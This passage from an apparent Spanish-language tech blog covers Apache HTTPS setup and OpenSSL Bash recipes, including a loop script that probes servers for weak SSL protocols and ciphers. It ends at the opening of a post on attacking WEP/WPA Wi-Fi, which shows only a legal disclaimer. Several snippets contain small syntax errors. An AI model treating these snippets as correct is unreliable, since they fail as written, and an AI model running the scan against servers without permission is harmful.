<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">4.- Por último quedaría realizar un enlace simbólico desde /var/www/htdocs/ al directorio htdocs de nuestra aplicación: </span></span><br />
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Creamos el enlace simbólico desde la carpeta raíz de nuestro servidor web a nuestra aplicación</span>
<span style="color: yellow;"><b><span class="kw3">cd</span> <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>htdocs
<span class="kw2">ln</span> <span class="re5">-s</span> <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>aplicacion<span class="sy0">/</span>htdocs<span class="sy0">/</span> aplicacion</b></span>
<span class="co0"># De esta forma al poner http://ipservidor/aplicacion nos conectará </span>
<span class="co0"># con la carpeta /var/www/aplicacion/htdocs</span>
<span class="co0"># Reiniciamos el servicio web</span>
<span style="color: yellow;"><b>service apache2 restart</b></span></span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>De esta forma tendremos físicamente nuestra aplicación web, fuera del directorio raíz del servidor.</b></span></span>
<br />
<h2>
<u><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="mw-headline" id="Instalaci.C3.B3n_de_certificados_y_acceso_seguro_con_HTTPS"> Instalación de certificados y acceso seguro con HTTPS </span></span></span></u></h2>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Si queremos usar conexiones seguras mediante el protocolo HTPS para
acceso a determinadas páginas, tendremos que configurar Apache para que
cargue el módulo <b>ssl</b> , aunque en algunas versiones de Apache 2 suele venir integrado.
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Comprobaremos si está o no instalado consultando el directorio <b>/etc/apache2/mods-enabled</b>, y en el caso de que no esté lo habilitaremos con <b>a2enmod ssl</b>.
</span></span><br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">a2enmod ssl</span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Necesitaremos tener instalado además <b>OpenSSL</b> (apt-get install
openssl), que se encarga de la implementación SSL para llevar a cabo
transferencias seguras. Este módulo no se recomienda en configuraciones
con más de un servidor virtual que utilicen el mismo puerto de escucha,
ya que la conexión SSL del cliente se establece con una IP y puerto
determinado del servidor. Apache no sabrá con qué servidor virtual debe
utilizar SSL, escogiendo el primero que se encuentra, y no utilizará
conexiones seguras para el resto de servidores virtuales.
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Más información de por qué no se puede usar SSL con virtual hosts basados en nombre:
<a class="external free" href="http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#vhosts" rel="nofollow" target="_blank">http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#vhosts</a></span></span>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Para corregir este problema se utiliza la extensión TLS
denominada SNI (Server Name Indication o Indicación de Nombre de
Servidor), necesitando tener instalado el paquete libapache2-mod-gnutls
(para cargar el módulo gnutls en vez de ssl).
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Más información sobre SNI en: <a class="external free" href="http://en.wikipedia.org/wiki/Server_Name_Indication" rel="nofollow" target="_blank">http://en.wikipedia.org/wiki/Server_Name_Indication</a></span></span>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Se podría tener un servidor virtual principal para el sitio
principal y que atiende en el puerto 80, y un servidor virtual para el
sitio seguro que atiende en el <b>puerto 443</b> y que utiliza SSL.
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Para ofrecer páginas de forma segura en un sitio web, el servidor
necesita un certificado que apruebe su autentiticidad. Para generar un
certificado autofirmado hay que ejecutar la instrucción <b>make-ssl-cert</b>,
y se nos solicitará información para completar ese certificado.
Tendremos que indicarle como parámetro el fichero con extensión "<b>.pem</b>", que se generará al final de la ejecución y que contendrá las claves para efectuar el cifrado asimétrico por el servidor.
</span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Es necesario habilitar el puerto de escucha mediante la directiva <b>Listen 443</b>. Además serán necesarias las siguientes directivas:
</span></span><br />
<ul>
<li> <span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>SSLRequireSSL</b>: se usa en el contenedor <Directory> y fuerza la utilización de SSL, evitando su desactivación.
</span></span></li>
<li> <span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>SSLEngine</b>: habilita SSL (valor on) en un servidor virtual, si se deshabilitó en el servidor principal.
</span></span></li>
<li> <span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>SSLCertificateFile</b>: indica la ruta del fichero (.pem) que contiene el certificado.
</span></span></li>
</ul>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">
Para crear un certificado autofirmado que guardaremos en la carpeta
/etc/apache2/certificados/certificado1.pem ejecutaremos el siguiente
comando<b>:</b></span></span><br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b> </b></span></span>
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Creamos el directorio dónde almacenaremos los certificados:</span>
<span style="color: yellow;"><b><span class="kw2">mkdir</span> <span class="re5">-p</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>certificados</b></span>
<span class="co0"># Generamos el fichero .pem que contendrá el certificado:</span>
<span class="co0"># Con esta instrucción o bien con:</span>
<span style="color: yellow;"><b>make-ssl-cert <span class="sy0">/</span>usr<span class="sy0">/</span>share<span class="sy0">/</span>ssl-cert<span class="sy0">/</span>ssleay.cnf <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>certificados<span class="sy0">/</span>miweb.local.pem</b></span>
<b><span style="color: yellow;">openssl req $<span class="sy0">@</span> <span class="re5">-new</span> <span class="re5">-x509</span> <span class="re5">-days</span> <span class="nu0">365</span> <span class="re5">-nodes</span> <span class="re5">-out</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>certificados<span class="sy0">/</span>miweb.local.pem <span class="re5">-keyout</span>
<span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>certificados<span class="sy0">/</span>miweb.local.pem</span></b>
<span class="co0"># Respondemos a las preguntas que se nos hacen en la generación del certificado.</span>
<span class="co0"># Damos permisos de lectura al certificado</span>
<span style="color: yellow;"><b><span class="kw2">chmod</span> <span class="nu0">600</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>certificados<span class="sy0">/</span>miweb.local.pem</b></span>
<span class="co0"># Habilitamos el soporte SSL</span>
<span style="color: yellow;">a2enmod ssl</span>
<span class="co0"># Reiniciamos el servicio</span>
<span style="color: yellow;"><b>service apache2 restart</b></span></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Tendremos que <b>editar el archivo /etc/apache2/ports.conf</b> para
indicar que queremos que nuestro servidor web también escuche en el
puerto 443. Lo más normal es crear un servidor virtual que escuche en el
puerto 80 y el mismo pero escuchando en el puerto 443:
</span></span><br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Editamos el fichero /etc/apache2/ports.conf:</span>
<span style="color: yellow;"><b><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>ports.conf
</b></span>
<span class="co0"># Añadimos los servidores virtuales:</span>
<span style="color: yellow;">Listen <span class="nu0">80</span>
Listen <span class="nu0">443</span>
NameVirtualHost <span class="sy0">*</span>:<span class="nu0">80</span>
NameVirtualHost <span class="sy0">*</span>:<span class="nu0">443</span></span></span></span></pre>
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="color: yellow;"><span class="nu0"> </span></span></span></span></pre>
</div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;">Ahora nos queda <b>revisar y configurar los contenedores de los sitios disponibles</b> para habilitar las opciones SSL.
En el directorio /etc/apache2/sites-available revisaremos los contenedores:</span></span><br />
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span class="co0"># Editamos el fichero /etc/apache2/sites-available/miweb.local</span>
<span style="color: yellow;"><b><span class="kw2">nano</span> <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>sites-available<span class="sy0">/</span>miweb.local</b></span>
<span class="co0"># Comprobamos los contenedores y activamos las opciones correspondientes SSL:</span>
<span class="co0"># Comenzamos con el sitio SSL:</span>
<span style="color: yellow;"><span class="sy0"><</span>VirtualHost <span class="sy0">*</span>:<span class="nu0">443</span><span class="sy0">></span>
ServerName miweb.local
DocumentRoot <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>miweb.local<span class="sy0">/</span>htdocs
DirectoryIndex index.html
SSLEngine on
SSLCertificateFile <span class="sy0">/</span>etc<span class="sy0">/</span>apache2<span class="sy0">/</span>certificados<span class="sy0">/</span>miweb.local.pem
<span class="sy0"><</span>Directory <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>miweb.local<span class="sy0">/</span>htdocs<span class="sy0">></span>
Options Indexes FollowSymLinks MultiViews
AllowOverride none
Order allow,deny
Allow from all
SSLRequireSSL
<span class="sy0"></</span>Directory<span class="sy0">></span>
<span class="sy0"></</span>VirtualHost<span class="sy0">></span>
<span class="sy0"><</span>VirtualHost <span class="sy0">*</span>:<span class="nu0">80</span><span class="sy0">></span>
ServerName miweb.local
DocumentRoot <span class="sy0">/</span>var<span class="sy0">/</span>www<span class="sy0">/</span>miweb.local<span class="sy0">/</span>htdocs
DirectoryIndex index.html
<span class="sy0"></</span>VirtualHost<span class="sy0">></span></span>
<span class="co0"># Si tenemos un sitio default-ssl y lo habilitamos, revisaremos en ese fichero</span>
<span class="co0"># las rutas del certificado y activamos estas opciones:</span>
SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
SSLCertificateFile <span class="sy0">/</span>etc<span class="sy0">/</span>ssl<span class="sy0">/</span>certs<span class="sy0">/</span>server.crt
SSLCertificateKeyFile <span class="sy0">/</span>etc<span class="sy0">/</span>ssl<span class="sy0">/</span>private<span class="sy0">/</span>server.key
<span class="co0"># En el ejemplo anterior se permite el acceso a miweb.local en modo seguro y modo normal.</span>
<span class="co0"># Si quisiéramos crear dos webs diferentes para el acceso seguro o normal,</span>
<span class="co0"># simplemente modificaríamos los directorios DocumentRoot dónde se alojan los ficheros y ya está.</span></span></span></pre>
</div>
</div>
<br />
<span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><b>Por último nos falta habilitar el nuevo sitio que hemos hecho:</b></span></span>
<br />
<div class="mw-geshi" dir="ltr">
<div class="bash source-bash">
<pre class="de1"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"><span style="color: yellow;"><b>a2ensite miweb.local</b></span>
<span class="co0"># Reiniciamos el servidor apache para aplicar cambios:</span>
<span style="color: yellow;">service apache2 restart</span></span></span></pre>
</div>
</div>
</div>
</div>
</div>
</div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: Arial,Helvetica,sans-serif;"><span style="font-size: small;"> </span></span> </span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<pre class="de1"><span style="font-size: small;"> </span></pre>
</div>
<pre class="de1"> </pre>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-66218549039451481052013-03-12T00:10:00.001+01:002013-03-12T00:18:22.379+01:00OpenSSL en script de Bash<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Hoy les comentaré de OpenSSL que es una herramienta muy flexible, que proporciona muchos módulos cada uno de los cuales realiza una tarea específica. Cada módulo no es un ejecutable separado sin embargo se selecciona con el primer parámetro del ejecutable openssl. Por otro lado ,cada módulo tiene una página de manual separada. Por ejemplo, un modulo llamado x509 gestiona certificados digitales X509 y un mdulo llamado pkcs12 gestiona paquetes PKCS12. Para ejecutar x509, ejecutamos lo siguiente:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">openssl x509 -param1 param1 valor</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
pero para ver su manual debemos escribir : <b><span style="color: yellow;">man x509</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Probando Conexiones SSL/TLS (Secure Socker Layer/Transport Layer Security)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Openssl posee 3 módulos que nos permite probar conexiones SSL:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
s_client (simula un cliente), útil para probar que protocolos y que cifrados está de acuerdo en utilizar el servidor, siendo útil en seguridad y en auditorias de funcionalidad.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
s_server (simula un servidor)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
s_time (pruebas de tiempo de conexión)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Para comprobar que protocolos acepta server podemos utilizar los siguientes parámetros: -ssl2, -ssl3, -tls1, -no_ssl2, -no_ssl3, o -no_tls1.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Dado que se sabe que ssl2 tiene debilidades en seguridad podemos conectar con el servidor utilizando la orden siguiente:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">openssl s_client -connect server:443 -no_ssl3 -no_tls1</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Si el servidor acepta cualquier protocolo distinto de SSL3 o TLS1, la orden anterior abre una conexión y espera los datos.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Para cerrar la conexión inmediatamente después de haberla establecido, escribimos en s_client:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">echo "x" | openssl s_client -connect server:443 -no_ssl3 -no_tls1</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
con -cipher comprobamos los parámetros permitidos. Podemos buscar nombres de grupos y cifrados con man ciphers.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Para comprobar si el servidor acepta conexiones usando cifrados de un grupo NULL o LOW :</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">echo "x" | openssl s_client -connect $server:443 -cipher NULL,LOW</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: yellow;"><span style="color: black;">Para comprobar si se puede establecer una conexión SSL2 sin esperar más de 10 segundos, podemos utilizar:</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: yellow;"></span><b><span style="color: yellow;">echo "x" | timeout openssl s_client -connect server:443 -ssl2</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Para automatizar más la orden podemos utilizar $? para comprobar el retorno de la última orden ejecutada por Bash. Si se ha establecido la conexión, OpenSSL devuelve 0.<b><span style="color: yellow;"> </span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
El siguiente script lee nombre de anfitrión desde la salida estándar y comprueba si se establece otra conexión distinta de SSL3 o TLS1 en el puerto 443. Espera 3 segundos. Los anfitriones que permiten este tipo de conexión se escriben en un archivo bad_protocol.txt. Los anfitriones que permiten conexiones con cifrados NULL o LOW se listan en bad_cipher.txt<b><span style="color: yellow;"><span style="color: black;">.</span></span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">01 #!/bin/bash</span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">02 while read server ; do</span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">03 timeout 3 openssl s_client -connect $server:443 -no_ssl3 -no_tls1</span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">04 if [ $? -eq 0]; then</span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">05 echo $server <span class="st">></span><span class="st">> bad_protocol.txt</span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span class="st">06 fi</span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span class="st">07 timeout 3 openssl </span>s_client -connect $server:443 -cipher NULL.LOW</span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">08 if [ $? -eq 0]; then</span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;">09 echo $server <span class="st">></span><span class="st">> bad_cipher.txt</span><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"> </span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D">10 fi</span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D">11 <span style="font-size: small;">done</span></span></span></span></span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="color: black;"> Manejar Formatos PEM/DER y PKCS12</span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"> Para con<span style="font-size: small;">v<span style="font-size: small;">ertir archivos en formatos PEM y DER</span></span> podemos usar los par<span style="font-size: small;">á</span>metros -inform y <span style="font-size: small;">-</span>o<span style="font-size: small;">utform. Por ejemplo para convertir todos los certificados X.509 de PEM a DER, usaremos el siguiente bucle:</span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">for file in*.pem;</span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">do openssl x509 -inform PEM -in $file -outform DER -out $file.der; </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><b><span style="color: yellow;"><span style="font-size: small;">done </span></span></b></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;">Otra tarea com<span style="font-size: small;">ú</span>n es extraer claves<span style="font-size: small;">/certificados de un paquete PKCS12, que normalmente esta protegido con una contraseña.</span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">Para extraer los cert<span style="font-size: small;">ificados de los archivos PKCS12 protegidos con contraseñ<span style="font-size: small;">a en un directorio de trabajo y almacena<span style="font-size: small;">rlos en un directorio de trabajo y almacenarlos sin proteccion de contraseñ<span style="font-size: small;">a, se hace lo s<span style="font-size: small;">iguiente:</span></span></span></span></span></span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;">f</span></span></span></span><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">or file in*.p12;</span></span></span></span></span></span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">do openssl pkcs12 -in $file -passin file: $file.pass -nokeys -nodes -out $file.nokeys; </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">done </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">Asumiendo que tenemos la contraseña para cada archivo PKCS12 con la extension .pass </span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">Cifrado y Desc<span style="font-size: small;">ifrado en Masa</span> </span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">Para cifrar un archivo plain.txt de manera sim<span style="font-size: small;">é</span>trica y escribir la salida en cipher.enc, podemos usar la siguiente orden:</span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">openssl [ ciphername] -a -salt -in plain.txt -out cipher.enc</span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><br /></span></span></span></span></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">En co<span style="font-size: small;">nsecuencia para ci<span style="font-size: small;">frar todos los<span style="font-size: small;"> archivos .txt en el directorio actual y escribirlo en el directorio ../enc con la cifra aes-256-cbc, podemos utilizar el siguiente bucle (asumiendo que se escribe la contraseñ<span style="font-size: small;">a del archivo pass</span>)</span></span></span></span></span></span></span></span>:</div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><br /></span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;">f</span></span></span></span><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">or file in*.txt;</span></span></span></span></span></span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">do openssl <span style="font-size: small;">aes-256-cbc<span style="font-size: small;"> </span></span>-<span style="font-size: small;">a -salt -in</span> "$file" -out<span style="font-size: small;"> "../enc/$file"</span> <span style="font-size: small;">-</span>passin file:pass; </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">done </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><br /></span></span></span></span></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">Podemos descifrar todos los archivos .txt en el directorio actual y escribirles en el <span style="font-size: small;">directorio <span style="font-size: small;">../dec</span></span> con :</span></span></span></span></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><br /></span></span></span></span></span></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;">f</span></span></span></span><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">or file in*.txt;</span></span></span></span></span></span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">do openssl <span style="font-size: small;">aes-256-cbc<span style="font-size: small;"> </span></span>-d -<span style="font-size: small;">a -salt -in</span> "$file" -out<span style="font-size: small;"> "../<span style="font-size: small;"><b>de</b></span>c/$file"</span> <span style="font-size: small;">-</span>passin file:pass; </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">done </span></span></span></span></span></span></b></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><br /></span></span></span></span></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"><span style="font-size: small;">asumiendo nuevamente que tenemos una contraseña en el archivo pass.</span></span></span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"> </span></span></span><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;"> </span></span></span></span></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><span style="font-size: small;"><span style="font-size: small;">fuente: Marcin Teodorczyk</span> </span></span></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-weight: normal;"><span class="mw-headline" id="Citas_.5B....5D"><br /></span></span></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-14156625668346479262013-02-15T02:17:00.001+01:002013-02-15T02:24:12.948+01:00Wireless Hacking ( WEP, WPA/WPA2/PSK )<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span style="font-family: Arial, Helvetica, sans-serif;">Wauuu lo que puede hacer un simple Script , volver loca a una mujer! .Una vez más demostrado que un informático también tiene su corazoncillo y que es un buen conquistador!!! :p.</span></div>
<div>
<div style="text-align: justify;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Arial, Helvetica, sans-serif;">Bueno volviendo al mundo malévolo y dejando la cursileria de lado , les presentaré un resumen de como atacar una Wireless con seguridad WEP y WPA/WPA2/PSK.</span></div>
<div style="text-align: justify;">
<span style="color: red; font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: red; font-family: Arial, Helvetica, sans-serif;">" <span style="font-weight: bold; text-indent: -0.38in;">A
continuación se ponen en conocimiento de los artículos del Código Penal
del Reino de España que existe la posibilidad de que sean vulnerados si se
diese un uso </span><span style="font-weight: bold; text-indent: -0.38in;">uso</span><span style="font-weight: bold; text-indent: -0.38in;">
fraudulento de las comunicaciones inalámbricas. El autor no se hace responsable
